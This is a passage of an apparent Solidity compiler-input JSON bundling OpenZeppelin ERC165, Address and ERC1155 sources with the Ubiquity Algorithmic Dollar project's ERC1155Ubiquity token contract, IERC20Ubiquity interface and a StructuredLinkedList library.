*\n * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check\n * for the additional interface id that will be supported. For example:\n *\n * ```solidity\n * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);\n * }\n * ```\n *\n * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.\n */\nabstract contract ERC165 is IERC165 {\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n return interfaceId == type(IERC165).interfaceId;\n }\n}\n" - }, - "@openzeppelin/contracts/utils/introspection/IERC165.sol": { - "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC165 standard, as defined in the\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\n *\n * Implementers can declare support of contract interfaces, which can then be\n * queried by others ({ERC165Checker}).\n *\n * For an implementation, see {ERC165}.\n */\ninterface IERC165 {\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`. See the corresponding\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\n * to learn more about how these ids are created.\n *\n * This function call must use less than 30 000 gas.\n */\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n" - }, - "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol": { - "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../IERC20.sol\";\n\n/**\n * @dev Interface for the optional metadata functions from the ERC20 standard.\n *\n * _Available since v4.1._\n */\ninterface IERC20Metadata is IERC20 {\n /**\n * @dev Returns the name of the token.\n */\n function name() external view returns (string memory);\n\n /**\n * @dev Returns the symbol of the token.\n */\n function symbol() external view returns (string memory);\n\n /**\n * @dev Returns the decimals places of the token.\n */\n function decimals() external view returns (uint8);\n}\n" - }, - "@openzeppelin/contracts/utils/Address.sol": { - "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary Address {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize, which returns 0 for contracts in\n // construction, since the code is only stored at the end of the\n // constructor execution.\n\n uint256 size;\n assembly {\n size := extcodesize(account)\n }\n return size > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCall(target, data, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n require(isContract(target), \"Address: call to non-contract\");\n\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return _verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n require(isContract(target), \"Address: static call to non-contract\");\n\n (bool success, bytes memory returndata) = target.staticcall(data);\n return _verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(isContract(target), \"Address: delegate call to non-contract\");\n\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return _verifyCallResult(success, returndata, errorMessage);\n }\n\n function _verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) private pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n }\n}\n" - }, - "contracts/interfaces/IERC20Ubiquity.sol": { - "content": "// SPDX-License-Identifier: Apache-2.0\npragma solidity ^0.8.3;\n\nimport \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\n\n/// @title ERC20 Ubiquiti preset interface\n/// @author Ubiquity Algorithmic Dollar\ninterface IERC20Ubiquity is IERC20 {\n // ----------- Events -----------\n event Minting(\n address indexed _to,\n address indexed _minter,\n uint256 _amount\n );\n\n event Burning(address indexed _burned, uint256 _amount);\n\n // ----------- State changing api -----------\n function burn(uint256 amount) external;\n\n function permit(\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external;\n\n // ----------- Burner only state changing api -----------\n function burnFrom(address account, uint256 amount) external;\n\n // ----------- Minter only state changing api -----------\n function mint(address account, uint256 amount) external;\n}\n" - }, - "contracts/ERC1155Ubiquity.sol": { - "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.3;\n\nimport \"@openzeppelin/contracts/token/ERC1155/ERC1155.sol\";\nimport \"@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Burnable.sol\";\nimport \"@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Pausable.sol\";\nimport \"./UbiquityAlgorithmicDollarManager.sol\";\nimport \"./utils/SafeAddArray.sol\";\n\n/// @title ERC1155 Ubiquity preset\n/// @author Ubiquity Algorithmic Dollar\n/// @notice ERC1155 with :\n/// - ERC1155 minter, burner and pauser\n/// - TotatSupply per id\n/// - Ubiquity Manager access control\ncontract ERC1155Ubiquity is ERC1155, ERC1155Burnable, ERC1155Pausable {\n using SafeAddArray for uint256[];\n UbiquityAlgorithmicDollarManager public manager;\n // Mapping from account to operator approvals\n mapping(address => uint256[]) private _holderBalances;\n uint256 private _totalSupply;\n\n // ----------- Modifiers -----------\n modifier onlyMinter() {\n require(\n manager.hasRole(manager.UBQ_MINTER_ROLE(), msg.sender),\n \"Governance token: not minter\"\n );\n _;\n }\n\n modifier onlyBurner() {\n require(\n manager.hasRole(manager.UBQ_BURNER_ROLE(), msg.sender),\n \"Governance token: not burner\"\n );\n _;\n }\n\n modifier onlyPauser() {\n require(\n manager.hasRole(manager.PAUSER_ROLE(), msg.sender),\n \"Governance token: not pauser\"\n );\n _;\n }\n\n /**\n * @dev constructor\n */\n constructor(address _manager, string memory uri) ERC1155(uri) {\n manager = UbiquityAlgorithmicDollarManager(_manager);\n }\n\n // @dev Creates `amount` new tokens for `to`, of token type `id`.\n function mint(\n address to,\n uint256 id,\n uint256 amount,\n bytes memory data\n ) public virtual onlyMinter {\n _mint(to, id, amount, data);\n _totalSupply += amount;\n _holderBalances[to].add(id);\n }\n\n // @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] variant of {mint}.\n function mintBatch(\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) public virtual onlyMinter whenNotPaused {\n _mintBatch(to, ids, amounts, data);\n for (uint256 i = 0; i < ids.length; ++i) {\n _totalSupply += amounts[i];\n }\n _holderBalances[to].add(ids);\n }\n\n /**\n * @dev Pauses all token transfers.\n *\n * See {ERC1155Pausable} and {Pausable-_pause}.\n *\n */\n function pause() public virtual onlyPauser {\n _pause();\n }\n\n /**\n * @dev Unpauses all token transfers.\n *\n * See {ERC1155Pausable} and {Pausable-_unpause}.\n *\n */\n function unpause() public virtual onlyPauser {\n _unpause();\n }\n\n /**\n * @dev See {IERC1155-safeTransferFrom}.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 id,\n uint256 amount,\n bytes memory data\n ) public override {\n super.safeTransferFrom(from, to, id, amount, data);\n _holderBalances[to].add(id);\n }\n\n /**\n * @dev See {IERC1155-safeBatchTransferFrom}.\n */\n function safeBatchTransferFrom(\n address from,\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) public virtual override {\n super.safeBatchTransferFrom(from, to, ids, amounts, data);\n _holderBalances[to].add(ids);\n }\n\n /**\n * @dev Total amount of tokens in with a given id.\n */\n function totalSupply() public view virtual returns (uint256) {\n return _totalSupply;\n }\n\n /**\n * @dev array of token Id held by the msg.sender.\n */\n function holderTokens(address holder)\n public\n view\n returns (uint256[] memory)\n {\n return _holderBalances[holder];\n }\n\n function _burn(\n address account,\n uint256 id,\n uint256 amount\n ) internal virtual override whenNotPaused {\n super._burn(account, id, amount);\n _totalSupply -= amount;\n }\n\n function _burnBatch(\n address account,\n uint256[] memory ids,\n uint256[] memory amounts\n ) internal virtual override whenNotPaused {\n super._burnBatch(account, ids, amounts);\n for (uint256 i = 0; i < ids.length; ++i) {\n _totalSupply -= amounts[i];\n }\n }\n\n function _beforeTokenTransfer(\n address operator,\n address from,\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) internal virtual override(ERC1155, ERC1155Pausable) {\n super._beforeTokenTransfer(operator, from, to, ids, amounts, data);\n }\n}\n" - }, - "solidity-linked-list/contracts/StructuredLinkedList.sol": { - "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IStructureInterface {\n function getValue(uint256 _id) external view returns (uint256);\n}\n\n/**\n * @title StructuredLinkedList\n * @author Vittorio Minacori (https://github.com/vittominacori)\n * @dev An utility library for using sorted linked list data structures in your Solidity project.\n */\nlibrary StructuredLinkedList {\n\n uint256 private constant _NULL = 0;\n uint256 private constant _HEAD = 0;\n\n bool private constant _PREV = false;\n bool private constant _NEXT = true;\n\n struct List {\n uint256 size;\n mapping(uint256 => mapping(bool => uint256)) list;\n }\n\n /**\n * @dev Checks if the list exists\n * @param self stored linked list from contract\n * @return bool true if list exists, false otherwise\n */\n function listExists(List storage self) internal view returns (bool) {\n // if the head nodes previous or next pointers both point to itself, then there are no items in the list\n if (self.list[_HEAD][_PREV] != _HEAD || self.list[_HEAD][_NEXT] != _HEAD) {\n return true;\n } else {\n return false;\n }\n }\n\n /**\n * @dev Checks if the node exists\n * @param self stored linked list from contract\n * @param _node a node to search for\n * @return bool true if node exists, false otherwise\n */\n function nodeExists(List storage self, uint256 _node) internal view returns (bool) {\n if (self.list[_node][_PREV] == _HEAD && self.list[_node][_NEXT] == _HEAD) {\n if (self.list[_HEAD][_NEXT] == _node) {\n return true;\n } else {\n return false;\n }\n } else {\n return true;\n }\n }\n\n /**\n * @dev Returns the number of elements in the list\n * @param self stored linked list from contract\n * @return uint256\n */\n function sizeOf(List storage self) internal view returns (uint256) {\n return self.size;\n }\n\n /**\n * @dev Returns the links of a node as a tuple\n * @param self stored linked list from contract\n * @param _node id of the node to get\n * @return bool, uint256, uint256 true if node exists or false otherwise, previous node, next node\n */\n function getNode(List storage self, uint256 _node) internal view returns (bool, uint256, uint256) {\n if (!nodeExists(self, _node)) {\n return (false, 0, 0);\n } else {\n return (true, self.list[_node][_PREV], self.list[_node][_NEXT]);\n }\n }\n\n /**\n * @dev Returns the link of a node `_node` in direction `_direction`.\n * @param self stored linked list from contract\n * @param _node id of the node to step from\n * @param _direction direction to step in\n * @return bool, uint256 true if node exists or false otherwise, node in _direction\n */\n function getAdjacent(List storage self, uint256 _node, bool _direction) internal view returns (bool, uint256) {\n if (!nodeExists(self, _node)) {\n return (false, 0);\n } else {\n return (true, self.list[_node][_direction]);\n }\n }\n\n /**\n * @dev Returns the link of a node `_node` in direction `_NEXT`.\n * @param self stored linked list from contract\n * @param _node id of the node to step from\n * @return bool, uint256 true if node exists or false otherwise, next node\n */\n function getNextNode(List storage self, uint256 _node) internal view returns (bool, uint256) {\n return getAdjacent(self, _node, _NEXT);\n }\n\n /**\n * @dev Returns the link of a node `_node` in direction `_PREV`.\n * @param self stored linked list from contract\n * @param _node id of the node to step from\n * @return bool, uint256 true if node exists or false otherwise, previous node\n */\n function getPreviousNode(List storage self, uint256 _node) internal view returns (bool, uint256) {\n return getAdjacent(self, _node, _PREV);\n }\n\n /**\n * @dev Can be used before `insert` to build an ordered list.\n * @dev Get the node and then `insertBefore` or `insertAfter` basing on your list order.\n * @dev If you want to order basing on other than `structure.getValue()` override this function\n * @param self stored linked list from contract\n * @param _structure the structure instance\n * @param _value value to seek\n * @return uint256 next node with a value less than _value\n */\n function getSortedSpot(List storage self, address _structure, uint256 _value) internal view returns (uint256) {\n if (sizeOf(self) == 0) {\n return 0;\n }\n\n uint256 next;\n (, next) = getAdjacent(self, _HEAD, _NEXT);\n while ((next != 0) && ((_value < IStructureInterface(_structure).getValue(next)) != _NEXT)) {\n next = self.list[next][_NEXT];\n }\n return next;\n }\n\n /**\n * @dev Insert node `_new` beside existing node `_node` in direction `_NEXT`.\n * @param self stored linked list from contract\n * @param _node existing node\n * @param _new new node to insert\n * @return bool true if success, false otherwise\n */\n function insertAfter(List storage self, uint256 _node, uint256 _new) internal returns (bool) {\n return _insert(self, _node, _new, _NEXT);\n }\n\n /**\n * @dev Insert node `_new` beside existing node `_node` in direction `_PREV`.\n * @param self stored linked list from contract\n * @param _node existing node\n * @param _new new node to insert\n * @return bool true if success, false otherwise\n */\n function insertBefore(List storage self, uint256 _node, uint256 _new) internal returns (bool) {\n return _insert(self, _node, _new, _PREV);\n }\n\n /**\n * @dev Removes an entry from the linked list\n * @param self stored linked list from contract\n * @param _node node to remove from the list\n * @return uint256 the removed node\n */\n function remove(List storage self, uint256 _node) internal returns (uint256) {\n if ((_node == _NULL) || (!nodeExists(self, _node))) {\n return 0;\n }\n _createLink(self, self.list[_node][_PREV], self.list[_node][_NEXT], _NEXT);\n delete self.list[_node][_PREV];\n delete self.list[_node][_NEXT];\n\n self.size -= 1; // NOT: SafeMath library should be used here to decrement.\n\n return _node;\n }\n\n /**\n * @dev Pushes an entry to the head of the linked list\n * @param self stored linked list from contract\n * @param _node new entry to push to the head\n * @return bool true if success, false otherwise\n */\n function pushFront(List storage self, uint256 _node) internal returns (bool) {\n return _push(self, _node, _NEXT);\n }\n\n /**\n * @dev Pushes an entry to the tail of the linked list\n * @param self stored linked list from contract\n * @param _node new entry to push to the tail\n * @return bool true if success, false otherwise\n */\n function pushBack(List storage self, uint256 _node) internal returns (bool) {\n return _push(self, _node, _PREV);\n }\n\n /**\n * @dev Pops the first entry from the head of the linked list\n * @param self stored linked list from contract\n * @return uint256 the removed node\n */\n function popFront(List storage self) internal returns (uint256) {\n return _pop(self, _NEXT);\n }\n\n /**\n * @dev Pops the first entry from the tail of the linked list\n * @param self stored linked list from contract\n * @return uint256 the removed node\n */\n function popBack(List storage self) internal returns (uint256) {\n return _pop(self, _PREV);\n }\n\n /**\n * @dev Pushes an entry to the head of the linked list\n * @param self stored linked list from contract\n * @param _node new entry to push to the head\n * @param _direction push to the head (_NEXT) or tail (_PREV)\n * @return bool true if success, false otherwise\n */\n function _push(List storage self, uint256 _node, bool _direction) private returns (bool) {\n return _insert(self, _HEAD, _node, _direction);\n }\n\n /**\n * @dev Pops the first entry from the linked list\n * @param self stored linked list from contract\n * @param _direction pop from the head (_NEXT) or the tail (_PREV)\n * @return uint256 the removed node\n */\n function _pop(List storage self, bool _direction) private returns (uint256) {\n uint256 adj;\n (, adj) = getAdjacent(self, _HEAD, _direction);\n return remove(self, adj);\n }\n\n /**\n * @dev Insert node `_new` beside existing node `_node` in direction `_direction`.\n * @param self stored linked list from contract\n * @param _node existing node\n * @param _new new node to insert\n * @param _direction direction to insert node in\n * @return bool true if success, false otherwise\n */\n function _insert(List storage self, uint256 _node, uint256 _new, bool _direction) private returns (bool) {\n if (!nodeExists(self, _new) && nodeExists(self, _node)) {\n uint256 c = self.list[_node][_direction];\n _createLink(self, _node, _new, _direction);\n _createLink(self, _new, c, _direction);\n\n self.size += 1; // NOT: SafeMath library should be used here to increment.\n\n return true;\n }\n\n return false;\n }\n\n /**\n * @dev Creates a bidirectional link between two nodes on direction `_direction`\n * @param self stored linked list from contract\n * @param _node existing node\n * @param _link node to link to in the _direction\n * @param _direction direction to insert node in\n */\n function _createLink(List storage self, uint256 _node, uint256 _link, bool _direction) private {\n self.list[_link][!_direction] = _node;\n self.list[_node][_direction] = _link;\n }\n}\n" - }, - "@openzeppelin/contracts/token/ERC1155/ERC1155.sol": { - "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./IERC1155.sol\";\nimport \"./IERC1155Receiver.sol\";\nimport \"./extensions/IERC1155MetadataURI.sol\";\nimport \"../../utils/Address.sol\";\nimport \"../../utils/Context.sol\";\nimport \"../../utils/introspection/ERC165.sol\";\n\n/**\n * @dev Implementation of the basic standard multi-token.\n * See https://eips.ethereum.org/EIPS/eip-1155\n * Originally based on code by Enjin: https://github.com/enjin/erc-1155\n *\n * _Available since v3.1._\n */\ncontract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI {\n using Address for address;\n\n // Mapping from token ID to account balances\n mapping(uint256 => mapping(address => uint256)) private _balances;\n\n // Mapping from account to operator approvals\n mapping(address => mapping(address => bool)) private _operatorApprovals;\n\n // Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json\n string private _uri;\n\n /**\n * @dev See {_setURI}.\n */\n constructor(string memory uri_) {\n _setURI(uri_);\n }\n\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {\n return\n interfaceId == type(IERC1155).interfaceId ||\n interfaceId == type(IERC1155MetadataURI).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n /**\n * @dev See {IERC1155MetadataURI-uri}.\n *\n * This implementation returns the same URI for *all* token types. It relies\n * on the token type ID substitution mechanism\n * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].\n *\n * Clients calling this function must replace the `\\{id\\}` substring with the\n * actual token type ID.\n */\n function uri(uint256) public view virtual override returns (string memory) {\n return _uri;\n }\n\n /**\n * @dev See {IERC1155-balanceOf}.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n */\n function balanceOf(address account, uint256 id) public view virtual override returns (uint256) {\n require(account != address(0), \"ERC1155: balance query for the zero address\");\n return _balances[id][account];\n }\n\n /**\n * @dev See {IERC1155-balanceOfBatch}.\n *\n * Requirements:\n *\n * - `accounts` and `ids` must have the same length.\n */\n function balanceOfBatch(address[] memory accounts, uint256[] memory ids)\n public\n view\n virtual\n override\n returns (uint256[] memory)\n {\n require(accounts.length == ids.length, \"ERC1155: accounts and ids length mismatch\");\n\n uint256[] memory batchBalances = new uint256[](accounts.length);\n\n for (uint256 i = 0; i < accounts.length; ++i) {\n batchBalances[i] = balanceOf(accounts[i], ids[i]);\n }\n\n return batchBalances;\n }\n\n /**\n * @dev See {IERC1155-setApprovalForAll}.\n */\n function setApprovalForAll(address operator, bool approved) public virtual override {\n require(_msgSender() != operator, \"ERC1155: setting approval status for self\");\n\n _operatorApprovals[_msgSender()][operator] = approved;\n emit ApprovalForAll(_msgSender(), operator, approved);\n }\n\n /**\n * @dev See {IERC1155-isApprovedForAll}.\n */\n function isApprovedForAll(address account, address operator) public view virtual override returns (bool) {\n return _operatorApprovals[account][operator];\n }\n\n /**\n * @dev See {IERC1155-safeTransferFrom}.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 id,\n uint256 amount,\n bytes memory data\n ) public virtual override {\n require(\n from == _msgSender() || isApprovedForAll(from, _msgSender()),\n \"ERC1155: caller is not owner nor approved\"\n );\n _safeTransferFrom(from, to, id, amount, data);\n }\n\n /**\n * @dev See {IERC1155-safeBatchTransferFrom}.\n */\n function safeBatchTransferFrom(\n address from,\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) public virtual override {\n require(\n from == _msgSender() || isApprovedForAll(from, _msgSender()),\n \"ERC1155: transfer caller is not owner nor approved\"\n );\n _safeBatchTransferFrom(from, to, ids, amounts, data);\n }\n\n /**\n * @dev Transfers `amount` tokens of token type `id` from `from` to `to`.\n *\n * Emits a {TransferSingle} event.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - `from` must have a balance of tokens of type `id` of at least `amount`.\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the\n * acceptance magic value.\n */\n function _safeTransferFrom(\n address from,\n address to,\n uint256 id,\n uint256 amount,\n bytes memory data\n ) internal virtual {\n require(to != address(0), \"ERC1155: transfer to the zero address\");\n\n address operator = _msgSender();\n\n _beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data);\n\n uint256 fromBalance = _balances[id][from];\n require(fromBalance >= amount, \"ERC1155: insufficient balance for transfer\");\n unchecked {\n _balances[id][from] = fromBalance - amount;\n }\n _balances[id][to] += amount;\n\n emit TransferSingle(operator, from, to, id, amount);\n\n _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data);\n }\n\n /**\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_safeTransferFrom}.\n *\n * Emits a {TransferBatch} event.\n *\n * Requirements:\n *\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the\n * acceptance magic value.\n */\n function _safeBatchTransferFrom(\n address from,\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) internal virtual {\n require(ids.length == amounts.length, \"ERC1155: ids and amounts length mismatch\");\n require(to != address(0), \"ERC1155: transfer to the zero address\");\n\n address operator = _msgSender();\n\n _beforeTokenTransfer(operator, from, to, ids, amounts, data);\n\n for (uint256 i = 0; i < ids.length; ++i) {\n uint256 id = ids[i];\n uint256 amount = amounts[i];\n\n uint256 fromBalance = _balances[id][from];\n require(fromBalance >= amount, \"ERC1155: insufficient balance for transfer\");\n unchecked {\n _balances[id][from] = fromBalance - amount;\n }\n _balances[id][to] += amount;\n }\n\n emit TransferBatch(operator, from, to, ids, amounts);\n\n _doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data);\n }\n\n /**\n * @dev Sets a new URI for all token types, by relying on the token type ID\n * substitution mechanism\n * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].\n *\n * By this mechanism, any occurrence of the `\\{id\\}` substring in either the\n * URI or any of the amounts in the JSON file at said URI will be replaced by\n * clients with the token type ID.\n *\n * For example, the `https://token-cdn-domain/\\{id\\}.json` URI would be\n * interpreted by clients as\n * `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json`\n * for token type ID 0x4cce0.\n *\n * See {uri}.\n *\n * Because these URIs cannot be meaningfully represented by the {URI} event,\n * this function emits no events.\n */\n function _setURI(string memory newuri) internal virtual {\n _uri = newuri;\n }\n\n /**\n * @dev Creates `amount` tokens of token type `id`, and assigns them to `account`.\n *\n * Emits a {TransferSingle} event.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n * - If `account` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the\n * acceptance magic value.\n */\n function _mint(\n address account,\n uint256 id,\n uint256 amount,\n bytes memory data\n ) internal virtual {\n require(account != address(0), \"ERC1155: mint to the zero address\");\n\n address operator = _msgSender();\n\n _beforeTokenTransfer(operator, address(0), account, _asSingletonArray(id), _asSingletonArray(amount), data);\n\n _balances[id][account] += amount;\n emit TransferSingle(operator, address(0), account, id, amount);\n\n _doSafeTransferAcceptanceCheck(operator, address(0), account, id, amount, data);\n }\n\n /**\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}.\n *\n * Requirements:\n *\n * - `ids` and `amounts` must have the same length.\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the\n * acceptance magic value.\n */\n function _mintBatch(\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) internal virtual {\n require(to != address(0), \"ERC1155: mint to the zero address\");\n require(ids.length == amounts.length, \"ERC1155: ids and amounts length mismatch\");\n\n address operator = _msgSender();\n\n _beforeTokenTransfer(operator, address(0), to, ids, amounts, data);\n\n for (uint256 i = 0; i < ids.length; i++) {\n _balances[ids[i]][to] += amounts[i];\n }\n\n emit TransferBatch(operator, address(0), to, ids, amounts);\n\n _doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data);\n }\n\n /**\n * @dev Destroys `amount` tokens of token type `id` from `account`\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n * - `account` must have at least `amount` tokens of token type `id`.\n */\n function _burn(\n address account,\n uint256 id,\n uint256 amount\n ) internal virtual {\n require(account != address(0), \"ERC1155: burn from the zero address\");\n\n address operator = _msgSender();\n\n _beforeTokenTransfer(operator, account, address(0), _asSingletonArray(id), _asSingletonArray(amount), \"\");\n\n uint256 accountBalance = _balances[id][account];\n require(accountBalance >= amount, \"ERC1155: burn amount exceeds balance\");\n unchecked {\n _balances[id][account] = accountBalance - amount;\n }\n\n emit TransferSingle(operator, account, address(0), id, amount);\n }\n\n /**\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}.\n *\n * Requirements:\n *\n * - `ids` and `amounts` must have the same length.\n */\n function _burnBatch(\n address account,\n uint256[] memory ids,\n uint256[] memory amounts\n ) internal virtual {\n require(account != address(0), \"ERC1155: burn from the zero address\");\n require(ids.length == amounts.length, \"ERC1155: ids and amounts length mismatch\");\n\n address operator = _msgSender();\n\n _beforeTokenTransfer(operator, account, address(0), ids, amounts, \"\");\n\n for (uint256 i = 0; i < ids.length; i++) {\n uint256 id = ids[i];\n uint256 amount = amounts[i];\n\n uint256 accountBalance = _balances[id][account];\n require(accountBalance >= amount, \"ERC1155: burn amount exceeds balance\");\n unchecked {\n _balances[id][account] = accountBalance - amount;\n }\n }\n\n emit TransferBatch(operator, account, address(0), ids, amounts);\n }\n\n /**\n * @dev Hook that is called before any token transfer. This includes minting\n * and burning, as well as batched variants.\n *\n * The same hook is called on both single and batched variants. For single\n * transfers, the length of the `id` and `amount` arrays will be 1.\n *\n * Calling conditions (for each `id` and `amount` pair):\n *\n * - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens\n * of token type `id` will be transferred to `to`.\n * - When `from` is zero, `amount` tokens of token type `id` will be minted\n * for `to`.\n * - when `to` is zero, `amount` of ``from``'s tokens of token type `id`\n * will be burned.\n * - `from` and `to` are never both zero.\n * - `ids` and `amounts` have the same, non-zero length.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function 